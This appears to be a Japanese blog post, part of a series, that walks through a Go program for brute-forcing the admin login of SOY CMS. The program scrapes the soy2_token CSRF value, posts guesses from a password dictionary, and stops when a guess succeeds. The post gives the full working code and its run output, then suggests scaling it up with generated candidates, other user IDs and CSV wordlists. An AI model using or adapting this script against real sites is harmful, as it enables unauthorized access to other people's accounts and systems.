前回、トークンがあろうが、シェルからSOY CMSのログインを試みる様にコードを改変した。
今回は、簡単な辞書を用意して繰り返し実行してみる。
※試すアカウントのIDはadminで固定で話を進める。
まずはパスワードの配列を用意する。
pws := []string{ "password", "aaaaaaaa", "bbbbbbbb", "cccccccc", "hogehuga", "********", "nekoneko", }
こんな感じかな。
ちなみに********が正解
このパスワードの配列と正解した時の処理を合わせて、
下記の様なコードを書いてみた。
package main import ( "bufio" "fmt" "net/http" "net/url" "regexp" "strings" "sync" ) type Jar struct { lk sync.Mutex cookies map[string][]*http.Cookie } func NewJar() *Jar { jar := new(Jar) jar.cookies = make(map[string][]*http.Cookie) return jar } func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) { jar.lk.Lock() jar.cookies[u.Host] = cookies jar.lk.Unlock() } func (jar *Jar) Cookies(u *url.URL) []*http.Cookie { return jar.cookies[u.Host] } func main() { var token string pws := []string{ "password", "aaaaaaaa", "bbbbbbbb", "cccccccc", "hogehuga", "********", "nekoneko", } jar := NewJar() u := "http://example.com/cms/admin/" user := "admin" client := http.Client{ Jar: jar, } for i := 0; i < len(pws); i++ { pw := pws[i] //ログインに成功したか? success := true resp, _ := client.Get(u) s := bufio.NewScanner(resp.Body) for s.Scan() { if hit := strings.Index(s.Text(), "soy2_token"); hit > 0 { re := regexp.MustCompile("value=\"(.*)\"") res := re.FindString(s.Text()) res = strings.Replace(res, "value=", "", 1) token = strings.Trim(res, "\"") } } resp.Body.Close() params := url.Values{} params.Add("soy2_token", token) params.Add("Auth[name]", user) params.Add("Auth[password]", pw) resp, _ = client.PostForm(u, params) defer resp.Body.Close() s = bufio.NewScanner(resp.Body) for s.Scan() { if hit := strings.Index(s.Text(), "failed_message"); hit > 0 { fmt.Println("ログイン失敗") success = false } } //ログインが確認できたら、処理を終えて良い if success == true { fmt.Println("ログイン成功") fmt.Println("ヒットしたID:", user, "Pw:", pw) break } } }
このコードを実行してみると、
$:~/ go run test.go ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン成功 ヒットしたID: admin Pw: ********
これで、ログインに成功したものだけ取得することが出来た。
パスワード候補を自動生成して増やしたり、
ID:をadmin以外のものでも試すというコードを追加すれば、
どんなに複雑なパスワードでもいつかはログイン出来そうだ。
パスワード候補は配列で書くのではなくて、
CSVからインポートして対応とかだと簡単にたくさん試せそう。
最後にブラウザを開いて、
SOY CMSのブラウザからログインしてみたら、
こんなエラーが表示された。
そうだよ!
今まさにログインを試しまくったよ。